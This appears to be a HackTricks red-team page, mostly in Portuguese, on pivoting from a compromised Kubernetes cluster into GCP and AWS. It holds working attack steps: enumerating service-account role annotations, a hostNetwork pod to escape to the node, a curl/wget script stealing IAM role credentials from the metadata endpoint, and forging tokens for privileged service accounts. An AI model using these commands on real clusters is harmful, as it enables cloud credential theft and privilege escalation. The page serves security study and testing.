Kubernetes Pivoting to Clouds

Reading time: 14 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

GCP

Se você está executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação rodando no cluster tenha acesso ao GCP. Há 2 maneiras comuns de fazer isso:

Mounting GCP-SA keys as secret

Uma forma comum de dar acesso a uma aplicação kubernetes ao GCP é:

  • Crie um GCP Service Account
  • Atribua a ele as permissões desejadas
  • Faça o download de uma chave json do SA criado
  • Monte-a como um secret dentro do pod
  • Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.

warning

Portanto, como um attacker, se você comprometer um container dentro de um pod, você deve checar por essa env variable e json files com credenciais do GCP.

Relating GSA json to KSA secret

Uma forma de dar acesso de um GSA a um GKE cluster é vinculando-os desta forma:

  • Crie um Kubernetes service account no mesmo namespace que seu GKE cluster usando o comando a seguir:
bash
kubectl create serviceaccount <service-account-name>
  • Crie um Kubernetes Secret que contenha as credenciais da GCP service account à qual você deseja conceder acesso ao GKE cluster. Você pode fazer isso usando a ferramenta de linha de comando gcloud, como mostrado no exemplo a seguir:
bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Vincule o Kubernetes Secret à Kubernetes service account usando o comando a seguir:
bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

No segundo passo foram definidas as credenciais do GSA como secret do KSA. Então, se você conseguir ler esse secret de dentro do GKE cluster, você pode escalar para essa GCP service account.

GKE Workload Identity

Com o Workload Identity, podemos configurar a Kubernetes service account para atuar como a Google service account. Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs.

A primeira série de passos para habilitar esse comportamento é habilitar o Workload Identity no GCP (steps) e criar a GCP SA que você quer que o k8s assuma.

  • Enable Workload Identity on a new cluster
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Criar/Atualizar um novo nodepool (Clusters Autopilot não precisam disso)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crie a GCP Service Account to impersonate a partir do K8s com permissões GCP:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Conecte-se ao cluster e crie a conta de serviço a ser usada
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Vincular o GSA ao KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Execute um pod com o KSA e verifique o acesso ao GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Verifique o comando a seguir para autenticar, caso necessário:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Como um atacante dentro do K8s você deve procurar por SAs com a iam.gke.io/gcp-service-account annotation pois isso indica que o SA pode acessar algo no GCP. Outra opção é tentar abusar de cada KSA no cluster e verificar se ele tem acesso.
No GCP é sempre interessante enumerar os bindings e saber quais acessos você está concedendo às SAs dentro do Kubernetes.

Este é um script para iterar facilmente por todas as definições de pods procurando por essa annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Uma forma (desatualizada) de atribuir IAM Roles aos Pods é usar um Kiam ou um Kube2IAM server. Basicamente, você precisará executar um daemonset no seu cluster com uma espécie de privileged IAM role. Esse daemonset será o responsável por conceder acesso a IAM Roles aos pods que precisarem.

Primeiro de tudo, você precisa configurar quais roles podem ser acessadas dentro do namespace, e isso é feito com uma annotation dentro do namespace object:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Depois que o namespace estiver configurado com as IAM roles que os Pods podem ter, você pode indicar a role que deseja em cada pod definition com algo como:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Como atacante, se você encontrar essas anotações em pods ou namespaces ou em um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode imitar todo o role que já é usado por pods e mais (se você tiver acesso à conta AWS, enumere os roles).

Criar Pod com IAM Role

note

O IAM role a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam, e esse role deve ser capaz de acessá-lo.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role para Service Accounts do K8s via OIDC

Esta é a forma recomendada pela AWS.

  1. Antes de tudo você precisa create an OIDC provider for the cluster.
  2. Depois você cria um IAM role com as permissões que o SA irá requerer.
  3. Crie uma trust relationship between the IAM role and the SA (ou com os namespaces, dando acesso ao role para todos os SAs do namespace). A trust relationship irá principalmente checar o nome do provedor OIDC, o nome do namespace e o nome do SA.
  4. Finalmente, crie um SA com uma annotation indicando o ARN do role, e os pods rodando com esse SA terão acesso ao token do role. O token é escrito dentro de um arquivo e o caminho é especificado em AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Para obter aws usando o token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token execute:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Como atacante, se você puder enumerar um cluster K8s, verifique por service accounts with that annotation para escalate to AWS. Para isso, simplesmente exec/create um pod usando uma das IAM privileged service accounts e roube o token.

Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.

caution

Às vezes a Turst Policy of a role pode estar bad configured e, em vez de dar AssumeRole access ao service account esperado, ela dá para all the service accounts. Portanto, se você for capaz de escrever uma annotation em um service account controlado, você pode acessar o role.

Confira a following page for more information:

AWS - Federation Abuse

Encontrar Pods e SAs com IAM Roles no Cluster

Este é um script para facilmente iterar por todas as definições de pods e SAs procurando por essa annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

A seção anterior tratou de como roubar IAM Roles com pods, mas note que um Node do cluster K8s será uma instance inside the cloud. Isso significa que o Node tem alta probabilidade de ter um IAM role que você pode roubar (observe que normalmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar cada node).

Para acessar o node metadata endpoint você precisa:

  • Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a misconfiguração mais comum, pois geralmente diferentes pods no cluster precisarão de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster.
  • Estar em um pod com hostNetwork enabled.
  • Escapar para o node e acessar o metadata endpoint diretamente.

(Observe que o metadata endpoint está em 169.254.169.254 como sempre).

Para escapar para o node você pode usar o seguinte comando para rodar um pod com hostNetwork enabled:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Anteriormente discutimos como attach IAM Roles to Pods ou até como escape to the Node to steal the IAM Role que a instância tem anexada.

Você pode usar o seguinte script para steal suas recém-conquistadas IAM role credentials:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

Em resumo: se for possível acessar o EKS Node IAM role a partir de um pod, é possível comprometer todo o kubernetes cluster.

For more info check this post. Como resumo, a default IAM EKS role que é atribuída aos EKS nodes por padrão recebe a role system:node dentro do cluster. Essa role é muito interessante, embora seja limitada pelas kubernetes Node Restrictions.

No entanto, o node pode sempre gerar tokens para service accounts que estejam rodando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para se passar pelo service account, como em:

bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks